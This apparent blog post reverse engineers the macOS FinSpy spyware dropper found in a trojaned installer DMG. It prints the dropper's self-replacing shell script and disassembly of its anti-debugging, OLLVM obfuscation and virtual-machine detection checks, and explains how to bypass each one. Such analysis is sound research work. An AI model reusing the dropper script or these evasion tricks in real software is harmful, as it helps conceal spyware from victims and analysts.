Amnesty International finally dropped the bomb and released a report about FinSpy spyware made by FinFisher Gmbh.

The most interesting thing was the revelation of Mac and Linux versions, something that was missing from previous reports on this commercial malware (Kaspersky, Wikileaks).

Their report summarizes the most important features but isn’t technically deep. This got me interested in verifying if FinSpy for Mac was any good malicious software or just the same kind of bullshit commercial malware like HackingTeam (they finally went kaput, oh so many crocodile tears!).

A couple of years ago I wrote a series about HackingTeam Crisis malware, which they loved according to Phineas Fisher hacking and leaks so, it’s time to do the same to FinFisher and FinSpy. A big thanks to Amnesty Internation for pulling the trigger on this one.

The report contains four macOS related hashes:

HashContent
80d6e71c54fb3d4a904637e4d56e108a8255036cbb4760493b142889e47b951fDropper
37e749b79f4a24ead2868dffdb22c5034053615fed1166fdea05b4ca43b65c83Encrypted ZIP payload
b5304d70dfe832c5a830762f8abc5bc9c4c6431f8ecfe80a6ae37b9d4cb430fdPersistence Plist
4f3003dd2ed8dcb68133f95c14e28b168bd0f52e5ae9842f528d3f7866495ceaTrojaned DMG

You can download them here. Password is ‘clowns!’.

There are two different versions in these files. The first three files belong to a apparently newer version extracted from Jabuka.app application, and the last one apparently an older version packaged in a trojaned application (caglayan-macos.dmg) used to infect targets. This post will be focused on the latter because it’s a complete package.

The following is the list of files available in the DMG.

/Volumes/caglayan-macos/
├── .fseventsd
│   └── fseventsd-uuid
└── Install\ Çağlayan.app
    └── Contents
        ├── Info.plist
        ├── MacOS
        │   ├── .log
        │   │   └── ARA0848.app
        │   │       └── Contents
        │   │           ├── Info.plist
        │   │           ├── MacOS
        │   │           │   └── installer
        │   │           ├── PkgInfo
        │   │           └── Resources
        │   │               ├── English.lproj
        │   │               │   ├── InfoPlist.strings
        │   │               │   └── MainMenu.nib
        │   │               ├── data
        │   │               └── res
        │   ├── Install\ Çağlayan
        │   └── installer
        ├── PkgInfo
        ├── Resources
        │   ├── Config.plist
        │   ├── Çağlayan
        │   │   └── Contents
        │   │       ├── Info.plist
        │   │       ├── MacOS
        │   │       │   └── Çağlayan
        │   │       ├── PkgInfo
        │   │       ├── Resources
        │   │       │   ├── DesktopReader.swf
        │   │       │   ├── Icon.icns
        │   │       │   ├── META-INF
        │   │       │   │   ├── AIR
        │   │       │   │   │   ├── application.xml
        │   │       │   │   │   └── hash
        │   │       │   │   └── signatures.xml
        │   │       │   ├── assets
        │   │       │   │   ├── LibraryLogo.png
        │   │       │   │   ├── accent-map.json
        │   │       │   │   ├── icons
        │   │       │   │   │   ├── Icon-128.png
        │   │       │   │   │   ├── Icon-16.png
        │   │       │   │   │   ├── Icon-32.png
        │   │       │   │   │   ├── Icon-48.png
        │   │       │   │   │   └── Icon-desktop.png
        │   │       │   │   └── info.xml
        │   │       │   ├── mimetype
        │   │       │   └── native-utils
        │   │       │       └── sqlite3
        │   │       └── _CodeSignature
        │   │           └── CodeResources
        │   ├── ErrorDialog.nib
        │   ├── MainMenu.nib
        │   └── NativeInstaller.icns
        └── _CodeSignature
            └── CodeResources

22 directories, 36 files

Anything hidden inside MacOS folder is never a good sign. In this case we have the hidden .log folder that contains another application inside.

We can have a look at Info.plist to find out which binary is going to be executed when a user opens this application. The field we are interested in is CFBundleExecutable. It points to Install Çağlayan. Assuming that the plist wasn’t tampered with, the field BuildMachineOSBuild tells us that the original application was built in Mountain Lion latest release. This version was released in 2013.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>BuildMachineOSBuild</key>
        <string>12F45</string>
        <key>CFBundleAllowMixedLocalizations</key>
        <true/>
        <key>CFBundleDevelopmentRegion</key>
        <string>English</string>
        <key>CFBundleExecutable</key>
        <string>Install Çağlayan</string>
        <key>CFBundleIconFile</key>
        <string>NativeInstaller.icns</string>
        <key>CFBundleIdentifier</key>
        <string>com.coverpage.bluedome.caglayan.desktop.installer</string>
        <key>CFBundleInfoDictionaryVersion</key>
        <string>6.0</string>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>CFBundleShortVersionString</key>
        <string>2.0</string>
        <key>DTCompiler</key>
        <string>com.apple.compilers.llvm.clang.1_0</string>
        <key>DTPlatformBuild</key>
        <string>4H1503</string>
        <key>DTPlatformVersion</key>
        <string>GM</string>
        <key>DTSDKBuild</key>
        <string>10K549</string>
        <key>DTSDKName</key>
        <string>macosx10.6</string>
        <key>DTXcode</key>
        <string>0463</string>
        <key>DTXcodeBuild</key>
        <string>4H1503</string>
        <key>LSMinimumSystemVersion</key>
        <string>10.6</string>
        <key>NSHumanReadableCopyright</key>
        <string/>
        <key>NSMainNibFile</key>
        <string>MainMenu</string>
        <key>NSPrincipalClass</key>
        <string>NSApplication</string>
    </dict>
</plist>

The next step is to see what Install Çağlayan contains.

bash
$ file Install\ Çağlayan 
Install Çağlayan: Bourne-Again shell script text executable, UTF-8 Unicode text

Normally we should expect a Mach-O executable instead of a shell script, so something fishy is going on. Let’s take a look at its contents.

bash
$ cat Install\ Çağlayan 
#!/bin/bash
BASEDIR="$( cd "$(dirname "$0")" && pwd)"
cd "$BASEDIR"
open .log/ARA0848.app
sleep 2
rm Install\ Çağlayan
mv installer Install\ Çağlayan
rm -rf .log
./Install\ Çağlayan
exit

The script executes the hidden application, then replaces itself with the original application binary, and finally executes it to avoid suspicion by the user. This means that we should focus our attention on the installer binary inside ARA0848.app application (because it’s the binary that will be executed). The hidden application name ARA0848.app is different from Jabuka.app mentioned in Amnesty International report. The folder structure is the same and installer is described as the launcher/dropper.

The following picture describes the installation process:

installation chain

The report discusses virtual machine detection and code obfuscation, so the next step is to load the installer binary into a disassembler (IDA in my case) and start reversing it.

The first thing we can notice is that the binary wasn’t stripped because function names are available. Yeah I know, getting strip to work with Xcode is not straightforward! Also visible are Objective-C class/method names without obfuscation (some macOS adware families obfuscate the names with junk strings).

nm
$ nm installer -s __TEXT __text 
000000010000594b t +[GIFileOps baseAttributes]
0000000100004c0c t +[GIFileOps copy:to:]
0000000100004de3 t +[GIFileOps createDirectory:shouldDelete:]
000000010000628b t +[GIFileOps loadAgent:]
0000000100004f4d t +[GIFileOps move:to:]
0000000100005128 t +[GIFileOps remove:]
0000000100005254 t +[GIFileOps rename:to:]
0000000100005f80 t +[GIFileOps setDataFileAttributes:]
00000001000059c1 t +[GIFileOps setDirectoryAttributes:]
0000000100005d44 t +[GIFileOps setExecutableFileAttributes:]
00000001000061bc t +[GIFileOps setFile:withAttributes:]
0000000100005737 t +[GIFileOps setStandardAttributes:]
000000010000543f t +[GIFileOps setSuid:]
00000001000063ae t +[GIFileOps unloadAgent:]
00000001000064d1 t +[GIFileOps unloadKext]
0000000100029ca9 t +[GIFileOps(Zip) unzip:to:]
000000010000765c t +[GIPath agentName]
000000010000767b t +[GIPath agentSource]
0000000100007726 t +[GIPath agentTarget]
0000000100007298 t +[GIPath compressedPayload]
0000000100007522 t +[GIPath coreName]
0000000100007541 t +[GIPath coreSource]
00000001000075ec t +[GIPath coreTarget]
00000001000065bd t +[GIPath executables]
0000000100007378 t +[GIPath expandedMainBundle]
0000000100007308 t +[GIPath expandedPayload]
0000000100006cb2 t +[GIPath installationMap]
00000001000070d2 t +[GIPath installer]
00000001000073e8 t +[GIPath kextName]
0000000100007407 t +[GIPath kextSource]
00000001000074b2 t +[GIPath kextTarget]
0000000100007940 t +[GIPath masterKeyDirSource]
00000001000078d0 t +[GIPath masterKeyDirTarget]
0000000100007142 t +[GIPath payload]
0000000100007796 t +[GIPath supervisorName]
00000001000077b5 t +[GIPath supervisorSource]
0000000100007860 t +[GIPath supervisorTarget]
0000000100006f2a t +[GIPath systemTemp]
0000000100007062 t +[GIPath trampoline]
00000001000071ed t +[GIPath updatePackage]
0000000100027f49 t -[ZipArchive CloseZipFile2]
000000010002762f t -[ZipArchive CreateZipFile2:Password:]
00000001000274c3 t -[ZipArchive CreateZipFile2:]
0000000100029b52 t -[ZipArchive Date1980]
000000010002996e t -[ZipArchive OutputErrorMessage:]
0000000100029a29 t -[ZipArchive OverWrite:]
00000001000297ea t -[ZipArchive UnzipCloseFile]
000000010002818a t -[ZipArchive UnzipFileTo:overWrite:]
000000010002816d t -[ZipArchive UnzipOpenFile:Password:]
000000010002800f t -[ZipArchive UnzipOpenFile:]
000000010002764c t -[ZipArchive addFileToZip:newname:]
0000000100027484 t -[ZipArchive dealloc]
0000000100029c46 t -[ZipArchive delegate]
0000000100027300 t -[ZipArchive init]
0000000100029c8c t -[ZipArchive setDelegate:]
000000010000275c t -[appAppDelegate applicationDidFinishLaunching:]
0000000100004884 t -[appAppDelegate askUserPermission:]
0000000100003283 t -[appAppDelegate executeTrampoline]
0000000100002b29 t -[appAppDelegate expandPayload]
0000000100003581 t -[appAppDelegate installPayload]
0000000100003e87 t -[appAppDelegate isAfterPatch]
0000000100003658 t -[appAppDelegate launchNewStyle]
000000010000384a t -[appAppDelegate launchOldStyle]
0000000100002a41 t -[appAppDelegate removeOldResource]
0000000100003c37 t -[appAppDelegate removeTraces]
000000010002a781 t ___ARCLite__load
000000010002aa1b t ___arclite_NSArray_objectAtIndexedSubscript
000000010002aa95 t ___arclite_NSDictionary_objectForKeyedSubscript
000000010002aa30 t ___arclite_NSMutableArray_setObject_atIndexedSubscript
000000010002aaaa t ___arclite_NSMutableDictionary__setObject_forKeyedSubscript
000000010002aad1 t ___arclite_NSMutableOrderedSet_setObject_atIndexedSubscript
000000010002aabc t ___arclite_NSOrderedSet_objectAtIndexedSubscript
000000010002b0bc t ___arclite_objc_autorelease
000000010002aae3 t ___arclite_objc_autoreleasePoolPop
000000010002ad6c t ___arclite_objc_autoreleasePoolPush
000000010002b0f6 t ___arclite_objc_autoreleaseReturnValue
000000010002b0a7 t ___arclite_objc_release
000000010002b088 t ___arclite_objc_retain
000000010002b0d1 t ___arclite_objc_retainAutorelease
000000010002b10b t ___arclite_objc_retainAutoreleaseReturnValue
000000010002b130 t ___arclite_objc_retainAutoreleasedReturnValue
000000010002b09d t ___arclite_objc_retainBlock
000000010002b145 t ___arclite_objc_storeStrong
000000010002af14 t ___arclite_object_copy
000000010002ad85 t ___arclite_object_setInstanceVariable
000000010002ade7 t ___arclite_object_setIvar
0000000100000000 T __mh_execute_header
000000010001e6d2 t _add_data_in_datablock
000000010002a9eb t _add_image_hook_ARC
000000010002aa03 t _add_image_hook_GC
00000001000270a3 t _allocate_new_datablock
00000001000016e0 t _deny_ptrace
00000001000081d1 t _fclose_file_func
00000001000081de t _ferror_file_func
0000000100008226 t _fill_fopen_filefunc
00000001000079b0 t _fopen_file_func
0000000100007e74 t _fread_file_func
0000000100007f02 t _fseek_file_func
0000000100007ef5 t _ftell_file_func
0000000100007eda t _fwrite_file_func
0000000100026f19 t _init_keys
000000010000174f t _main
000000010002a766 T _objc_retainedObject
000000010002a76f T _objc_unretainedObject
000000010002a778 T _objc_unretainedPointer
000000010002aaf5 t _patch_lazy_pointers
000000010000fab0 t _strcmpcasenosensitive_internal
00000001000123b5 t _unzClose
0000000100012549 t _unzCloseCurrentFile
0000000100012b6f t _unzGetCurrentFileInfo
000000010001525e t _unzGetFilePos
000000010001a5df t _unzGetGlobalComment
0000000100012adc t _unzGetGlobalInfo
000000010001a111 t _unzGetLocalExtrafield
000000010001aab5 t _unzGetOffset
00000001000154f3 t _unzGoToFilePos
0000000100012296 t _unzGoToFirstFile
00000001000147be t _unzGoToNextFile
0000000100014b6b t _unzLocateFile
00000001000123a9 t _unzOpen
0000000100010128 t _unzOpen2
00000001000189cc t _unzOpenCurrentFile
0000000100018a36 t _unzOpenCurrentFile2
0000000100015692 t _unzOpenCurrentFile3
0000000100018a20 t _unzOpenCurrentFilePassword
0000000100018a43 t _unzReadCurrentFile
0000000100008280 t _unzRepair
000000010001ad39 t _unzSetOffset
000000010000f921 t _unzStringFileNameCompare
0000000100019efa t _unzeof
000000010001789d t _unzlocal_CheckCurrentFileCoherencyHeader
0000000100012ba9 t _unzlocal_GetCurrentFileInfoInternal
000000010001ae36 t _unzlocal_getByte
0000000100011d6c t _unzlocal_getLong
0000000100011f96 t _unzlocal_getShort
0000000100019d43 t _unztell
0000000100025a9b t _zipClose
0000000100023296 t _zipCloseFileInZip
0000000100024e85 t _zipCloseFileInZipRaw
0000000100024bda t _zipFlushWriteBuffer
000000010001ef74 t _zipOpen
000000010001b00b t _zipOpen2
0000000100023f7c t _zipOpenNewFileInZip
0000000100023f11 t _zipOpenNewFileInZip2
000000010001efd2 t _zipOpenNewFileInZip3
000000010002404a t _zipWriteInFileInZip
00000001000232a4 t _ziplocal_TmzDateToDosDate
0000000100027110 t _ziplocal_getByte
000000010001e082 t _ziplocal_getLong
000000010001e4ae t _ziplocal_getShort
0000000100023997 t _ziplocal_putValue
000000010002351c t _ziplocal_putValue_inmemory
00000001000016a4 T start

Something that should always be verified is the existence of any constructors/destructors and Objective-C load methods. These are executed before main and we need to take a look at their contents. They can be used for all kinds of tricks before code starts executing at main.

In this case there aren’t any so we can focus instead on main. The start symbol is called first but the only thing important happening there is the call to main, so we don’t need to worry about it.

A small peek of main follows:

IDA
__text:10000174F    push    rbp
__text:100001750    mov     rbp, rsp
__text:100001753    push    r15
__text:100001755    push    r14
__text:100001757    push    r13
__text:100001759    push    r12
__text:10000175B    push    rbx
__text:10000175C    sub     rsp, 398h
__text:100001763    mov     r14, rsi
__text:100001766    mov     r15d, edi
__text:100001769    mov     rax, cs:___stack_chk_guard_ptr
__text:100001770    mov     rax, [rax]
__text:100001773    mov     [rbp+var_30], rax
__text:100001777    call    _objc_autoreleasePoolPush
__text:10000177C    mov     [rbp+context], rax
__text:100001783    call    _deny_ptrace ; <------------ HERE
__text:100001788    mov     [rbp+var_40], 288h
__text:100001790    lea     rbx, [rbp+var_2C8]
__text:100001797    mov     esi, 288h
__text:10000179C    mov     rdi, rbx
__text:10000179F    call    ___bzero
__text:1000017A4    mov     dword ptr [rbp+__size], 1
__text:1000017AE    mov     dword ptr [rbp+__size+4], 0Eh
__text:1000017B8    mov     [rbp+var_2D8], 1
__text:1000017C2    call    _getpid
__text:1000017C7    mov     [rbp+var_2D4], eax
__text:1000017CD    lea     rdi, [rbp+__size] ; int *
__text:1000017D4    lea     rcx, [rbp+var_40] ; size_t *
__text:1000017D8    mov     esi, 4          ; u_int
__text:1000017DD    xor     r8d, r8d        ; void *
__text:1000017E0    xor     r9d, r9d        ; size_t
__text:1000017E3    mov     rdx, rbx        ; void *
__text:1000017E6    call    _sysctl ; <----------------- HERE
__text:1000017EB    mov     [rbp+var_34], eax
__text:1000017EE    mov     r8d, [rbp+var_2A8]
__text:1000017F5    shr     r8d, 0Bh ; <----------------
__text:1000017F9    and     r8d, 1

One of the calls is explicit on its intentions, to execute the ptrace anti-debugging trick.

PT_DENY_ATTACH

This request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent.

The call to sysctl is also another anti-debugging trick based on Apple’s AmIBeingDebugged example. Pretty normal, boring stuff, easy to bypass!

To bypass _deny_ptrace we can set a breakpoint at address 0x100001783 and skip the call by setting the instruction pointer to the next address 0x100001788. The command skip exists in lldbinit for this purpose. A kernel extension like Onyx The Black Cat can take care of this transparently or we can just breakpoint into ptrace symbol and return the right value to fool the call. Skipping the call is just easier in this case.

To bypass the sysctl anti-debugging we just need to modify the return data. The debugger is detected under the following condition:

#define P_TRACED    0x00000800  /* Debugged process being traced */

if ((info.kp_proc.p_flag & P_TRACED) != 0)
{
    printf("ALERT: Debugger is found !!!!\n");
}

If we breakpoint at address 0x1000017F5 we can simply remove 0x800 from whatever value was moved to r8 at previous instruction. This is what the code is doing, verifying if bit 11 is set. Once again, there are different ways to attack this from the kernel or from sysctl symbol. The breakpoint will work fine since we can script all this in lldb.

After the sysctl call we observe some weird code:

IDA
__text:1000017E6    call    _sysctl
__text:1000017EB    mov     [rbp+var_34], eax
__text:1000017EE    mov     r8d, [rbp+var_2A8] ; info.kp_proc.p_flag (int)
__text:1000017F5    shr     r8d, 0Bh
__text:1000017F9    and     r8d, 1
__text:1000017FD    mov     edi, 470C6D79h
__text:100001802    mov     edx, 6A7B7BCBh
__text:100001807    jmp     short loc_100001810
__text:100001809 ; ---------------------------------------------------------------------------
__text:100001809
__text:100001809 loc_100001809:                ; CODE XREF: _main+EE↓j
__text:100001809    mov     esi, eax
__text:10000180B    mov     edi, 0A25B8AE8h
__text:100001810
__text:100001810 loc_100001810:                ; CODE XREF: _main+B8↑j
__text:100001810                               ; _main+106↓j
__text:100001810    mov     ecx, esi
__text:100001812    jmp     short loc_100001820
__text:100001814 ; ---------------------------------------------------------------------------
__text:100001814
__text:100001814 loc_100001814:                ; CODE XREF: _main+E6↓j
__text:100001814    cmp     [rbp+var_34], 0
__text:100001818    mov     edi, 0D4A840A1h
__text:10000181D    cmovnz  edi, edx
__text:100001820
__text:100001820 loc_100001820:                ; CODE XREF: _main+C3↑j
__text:100001820                               ; _main+DE↓j ...
__text:100001820    mov     ebx, edi
__text:100001822    mov     edi, 7BDEBDB0h
__text:100001827    cmp     ebx, 6A7B7BCBh
__text:10000182D    jz      short loc_100001820
__text:10000182F    cmp     ebx, 470C6D79h
__text:100001835    jz      short loc_100001814
__text:100001837    cmp     ebx, 7BDEBDB0h
__text:10000183D    jz      short loc_100001809
__text:10000183F    mov     edi, 2F10CD8Bh
__text:100001844    cmp     ebx, 0A25B8AE8h
__text:10000184A    jz      short loc_100001820
__text:10000184C    cmp     ebx, 0D4A840A1h
__text:100001852    mov     esi, r8d
__text:100001855    jz      short loc_100001810
__text:100001857    cmp     ebx, 2F10CD8Bh
__text:10000185D    jnz     short loc_10000188A
__text:10000185F    mov     [rbp+argc], r15d
__text:100001866    mov     [rbp+argv], r14
__text:10000186D    mov     [rbp+var_2E8], ecx
__text:100001873    mov     eax, 0AA554355h
__text:100001878    mov     [rbp+var_300], 0
__text:100001882    mov     [rbp+var_2FC], ecx
__text:100001888    jmp     short loc_100001891

This code doesn’t look normal and executing anything useful. It is the result of LLVM-obfuscator. In this case the control flow appears to be obfuscated. After the r8 test we can’t clearly see the test condition that we expect - we can just follow a bunch of jumps based on some weird values. This appears to be LLVM-obfuscator’s Bogus Control Flow feature.

This method modifies a function call graph by adding a basic block before the current basic block. This new basic block contains an opaque predicate and then makes a conditional jump to the original basic block.

The original basic block is also cloned and filled up with junk instructions chosen at random.

QuarksLab has a very interesting post about this obfuscator: Deobfuscation: recovering an OLLVM-protected program.

The function graph is too long to display here but it’s even easier to visualise the obfuscator with the decompiler:

  context = objc_autoreleasePoolPush();
  deny_ptrace();
  v53 = 648LL;
  __bzero(v51, 648LL);
  __size = 0xE00000001LL;
  v49 = 1;
  v50 = getpid();
  v5 = 4;
  // amIBeingDebugged
  v6 = sysctl((int *)&__size, 4u, v51, &v53, 0LL, 0LL);
  v54 = v6;
  v7 = 0x470C6D79;
  v8 = 0x6A7B7BCBLL;
  do
  {
LABEL_3:
    v9 = v5;
    do {
      while ( 1 ) {
        do {
          v10 = v7;
          v7 = 0x7BDEBDB0;
        }
        while ( v10 == 0x6A7B7BCB );
        if ( v10 != 0x470C6D79 )
          break;
        v7 = 0xD4A840A1;
        if ( v54 )
          v7 = 0x6A7B7BCB;
      }
      if ( v10 == 0x7BDEBDB0 ) {
        v5 = v6;
        v7 = 0xA25B8AE8;
        goto LABEL_3;
      }
      v7 = 0x2F10CD8B;
    }
    while ( v10 == 0xA25B8AE8 );
    // the P_TRACED check
    // info.kp_proc.p_flag
    v5 = (v52 >> 11) & 1;
  }
  while ( v10 == 0xD4A840A1 );
  argca = argc;
  argva = argv;
  v46 = v9;
  v11 = 0xAA554355;
  v41 = 0;
  v42 = v9;

Just visually we can see that the do while blocks are pretty weird and the checks don’t seem useful at all. The biggest issue of this obfuscation is that to step and debug the control flow is annoying and takes time.

We can step every instruction in the debugger, which can be slow (although just the first time since then we can set breakpoints for next sessions). To trace the code paths we can use tools such as PIN and Lighthouse. All the bogus flow would still be traced and flagged but we could visualise which areas were executed and which weren’t.

But there is no need to bring bazookas to a knife fight. Instead I simplified and just used bruteforce. I always like to look around the code to have a general feeling before deep diving into it (I’m a fan of +ORC zen cracking thing). So I saw the code basic blocks and could see the string references to virtual machine detection tricks described by Amnesty report. Instead of tracing the control flow I could just gather all those basic blocks and breakpoint all of them and hope for the best. Using the first anti-vm detection as an example:

IDA
__text:100001B45 loc_100001B45:                     ; CODE XREF: _main+1B9↑j
__text:100001B45    cmp     eax, 4BB9C77Ch
__text:100001B4A    jnz     loc_100001891
__text:100001B50    xor     esi, esi                ; void *
__text:100001B52    xor     ecx, ecx                ; void *
__text:100001B54    xor     r8d, r8d                ; size_t
__text:100001B57    lea     rbx, aHwModel           ; "hw.model"
__text:100001B5E    mov     rdi, rbx                ; char *
__text:100001B61    lea     r15, [rbp+__size]
__text:100001B68    mov     rdx, r15                ; size_t *
__text:100001B6B    call    _sysctlbyname           ; size_t len = 0;

The first two instructions of this block are junk, so we can set the breakpoint at address 0x100001B50. When this check is finally going to be executed the debugger will breakpoint and we avoided tracing through all the bogus control flow. The only problem is to automate the breakpoint addresses for the basic blocks we are interested in. I just did it by hand since there weren’t that many candidates.

Nevertheless as I mentioned before, the decompiler makes this even easier. I’m still not a frequent user of the decompiler (wrongly so) and that’s the reason why I attacked this issue with the breakpoint bruteforce method. Later on I used the decompiler and this makes it so much easier to find where the interesting code is. The following listing shows the full obfuscation in executeTrampoline Objective-C method:

void __cdecl -[appAppDelegate executeTrampoline](appAppDelegate *self, SEL a2)
{
  int i; // eax
  __int64 v3; // [rsp+0h] [rbp-40h] BYREF
  id *v4; // [rsp+8h] [rbp-38h]
  bool v5; // [rsp+16h] [rbp-2Ah]
  bool v6; // [rsp+17h] [rbp-29h]

  for ( i = -1314525355; ; i = -860919120 ) {
    while ( 1 ) {
      while ( 1 ) {
        while ( 1 ) {
          while ( 1 ) {
            while ( 1 ) {
              while ( 1 ) {
                while ( 1 ) {
                  while ( 1 ) {
                    while ( 1 ) {
                      while ( 1 ) {
                        while ( 1 ) {
                          while ( 1 ) {
                            while ( 1 ) {
                              while ( 1 ) {
                                while ( 1 ) {
                                  while ( 1 ) {
                                    while ( i > 1906374694 ) {
                                      i = -378289692;
                                      if ( v5 )
                                        i = -166979571;
                                    }
                                    if ( i <= 1362875871 )
                                      break;
                                    i = -653958391;
                                    if ( v6 )
                                      i = 349463466;
                                  }
                                  if ( i > -1680978437 )
                                    break;
                                  i = -1260767775;
                                }
                                if ( i > -1490852160 )
                                  break;
                                i = -842796370;
                              }
                              if ( i > -1260767776 )
                                break;
                              i = -506855829;
                            }
                            if ( i > -1178212413 )
                              break;
                            v6 = (unsigned __int8)objc_msgSend(*v4, "launchNewStyle") == 0;
                            i = 1362875872;
                          }
                          if ( i <= 428753874 )
                            break;
                          i = 376588111;
                        }
                        if ( i <= 376588110 )
                          break;
                        objc_msgSend(*v4, "launchOldStyle");
                        i = -653958391;
                      }
                      if ( i <= 349463465 )
                        break;
                      i = -1680978436;
                    }
                    if ( i > -1167397111 )
                      break;
LABEL_30:
                    i = 161326308;
                  }
                  if ( i > -860919121 )
                    break;
                  i = -1946496017;
                }
                if ( i <= -842796371 ) {
                  objc_msgSend(*v4, "launchOldStyle");
                  goto LABEL_30;
                }
                if ( i > -653958392 )
                  break;
                i = 428753875;
              }
              if ( i > -506855830 )
                break;
              i = -434592465;
            }
            if ( i > -434592466 )
              break;
            v4 = (id *)(&v3 - 2);
            *(&v3 - 2) = (__int64)self;
            v5 = (unsigned __int8)objc_msgSend(*v4, "isAfterPatch") == 1;
            i = 1906374695;
          }
          if ( i > -378289693 )
            break;
          i = -1178212412;
        }
        if ( i > -166979572 )
          break;
        i = 163091173;
      }
      if ( i != -166979571 )
        break;
      i = -1167397110;
    }
    if ( i != 163091173 )
      break;
  }
}

What we can clearly see in this code is that we are just interested in all the objc_msgSend calls, while the rest of the code is just junk. To debug this function we just need to breakpoint those basic blocks and wait for the debugger to hit them, bypassing all the junk code. This should be possible to automate so we can pass this information from the disassembler to the debugger and make the whole process faster.

After breakpointing the interesting basic blocks I finally reached to the first virtual machine detection attempt. The code queries the hardware model via sysctl and then tries to match known virtualization software. It’s a variation of this sample code:

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>

size_t len = 0;
sysctlbyname("hw.model", NULL, &len, NULL, 0);
if (len) {
    char *model = malloc(len*sizeof(char));
    sysctlbyname("hw.model", model, &len, NULL, 0);
    printf("%s\n", model);
    free(model);
}

I use VMware Fusion so my model will be VMware7,1. Then the code checks if the model string starts with vmware, parallels, or virtualbox. To bypass this check we can simply modify the model value to something else that doesn’t match those strings such as MacOS7,1 or just modify the first byte.

IDA
__text:100001B6B    call    _sysctlbyname   ; find out the size of model string
__text:100001B70    mov     rdi, [rbp+__size]
__text:100001B77    call    _malloc         ; allocate space for char *model
__text:100001B7C    mov     r14, rax        ; we want this address so we can modify later on
__text:100001B7F    xor     ecx, ecx        
__text:100001B81    xor     r8d, r8d        
__text:100001B84    mov     rdi, rbx        
__text:100001B87    mov     rsi, r14        ; the model buffer
__text:100001B8A    mov     rdx, r15        
__text:100001B8D    call    _sysctlbyname   ; just change the buffer content after the call
__text:100001B92    mov     rdi, cs:classRef_NSString

In this case we need to set a breakpoint at address 0x100001B7C or 0x100001B87 so we know the address of the buffer. Then we set another breakpoint after the second call to sysctlbyname at address 0x100001B92. There we modify the buffer contents and bypass the first virtual machine detection. This could also be automated with a kernel extension or hooking sysctlbyname.

There is a second virtual machine detection attempt, this one described in Amnesty report. It uses the system_profiler system command to find the hardware manufacturer. Executing the command on a virtual machine:

system_profiler
$ system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"
          Manufacturer: VMware, Inc.
              Manufacturer: VMware
              Manufacturer: VMware
          Manufacturer: VMware

This is the detection code decompilation output:

v26 = objc_msgSend(&OBJC_CLASS___NSTask, "alloc");
v37 = objc_msgSend(v26, "init");
objc_msgSend(v37, "setLaunchPath:", CFSTR("/bin/sh"));
v27 = objc_msgSend(
        &OBJC_CLASS___NSString,
        "stringWithFormat:",
        CFSTR("%@"),
        CFSTR("system_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmware|virtualbox)\""));
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:", CFSTR("-c"), v28, 0LL);
v36 = objc_retainAutoreleasedReturnValue(v29);
objc_release(v28);
objc_msgSend(v37, "setArguments:", v36);
v30 = objc_msgSend(&OBJC_CLASS___NSPipe, "pipe");
v35 = objc_retainAutoreleasedReturnValue(v30);
objc_msgSend(v37, "setStandardOutput:", v35);
v31 = objc_msgSend(v35, "fileHandleForReading");
v38 = objc_retainAutoreleasedReturnValue(v31);
objc_msgSend(v37, "launch");
objc_msgSend(v37, "waitUntilExit");
LOBYTE(v54) = (unsigned int)objc_msgSend(v37, "terminationStatus") == 0;

Translated to Objective-C:

NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/bin/sh"];

NSString *cmd = [NSString stringWithFormat:"%@", @"system_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmware|virtualbox)\""];
NSArray *args = [NSArray arrayWithObjects: @"-c", cmd, nil];
[task setArguments:args];

NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];

[task launch];
[task waitUntilExit];
int ret = [task terminationStatus] == 0;

It will essentially execute a shell command via NSTask class. The easiest way to bypass this is to modify the string since the CoreFoundation String (CFString) points to a C string.

__cstring:10002B620 aSystemProfiler db 'system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"',0
__cstring:10002B620                       ; DATA XREF: __cfstring:cfstr_SystemProfiler↓o

If the command doesn’t return the information it’s looking then whatever test the code is doing will fail and we should bypass the vm detection easily. We just need to overwrite the grep string or modify the shell command to return nothing and exit early.

In my case I opted to modify the string to "system_profiler SPUSBDataType | egrep -i "Manufacturer: (finfisher clowns u suck aha)"". For this we don’t need a breakpoint since we can modify the memory for the string at the first breakpoint for example, when we bypass the ptrace. Or we can just patch the binary since there are no integrity checks anyway.

And gone are all anti-debugging and anti-vm checks. That wasn’t hard!

Somewhere in the middle of main code we can find this:

IDA
__text:100001DEF loc_100001DEF:                ; CODE XREF: _main+248↑j
__text:100001DEF    cmp     eax, 0D7F98BB5h
__text:100001DF4    jnz     loc_100001891
__text:100001DFA    mov     edi, [rbp+argc] ; argc
__text:100001E00    mov     rsi, [rbp+argv] ; argv
__text:100001E07    call    _NSApplicationMain
__text:100001E0C    mov     [rbp+var_300], eax
__text:100001E12    mov     eax, 0CDACC4F9h
__text:100001E17    jmp     loc_100001891

This means this is a AppKit application. NSApplicationMain is responsible for creating and running the application. What we have seen until now is just a prologue.

An astute reader will notice that there is an even easier way to bypass all the previous checks with a single breakpoint. Let me show you how. The prototype for NSApplicationMain is:

int NSApplicationMain(int argc, const char * _Nonnull *argv);

Since there are no interesting operations in main other than anti-debugging and anti-vm checks, we could simply bypass all that code and set execution directly to NSApplicationMain. The following are the interesting parts of main to achieve this:

IDA
__text:10000174F    push    rbp
__text:100001750    mov     rbp, rsp
__text:100001753    push    r15             ; break here
__text:100001753                            ; and set RIP to 0x100001DFA -.
(...)                                                                     |
__text:100001DFA    mov     edi, [rbp+argc] ; argc <----------------------´
__text:100001E00    mov     rsi, [rbp+argv] ; argv
__text:100001E07    call    _NSApplicationMain

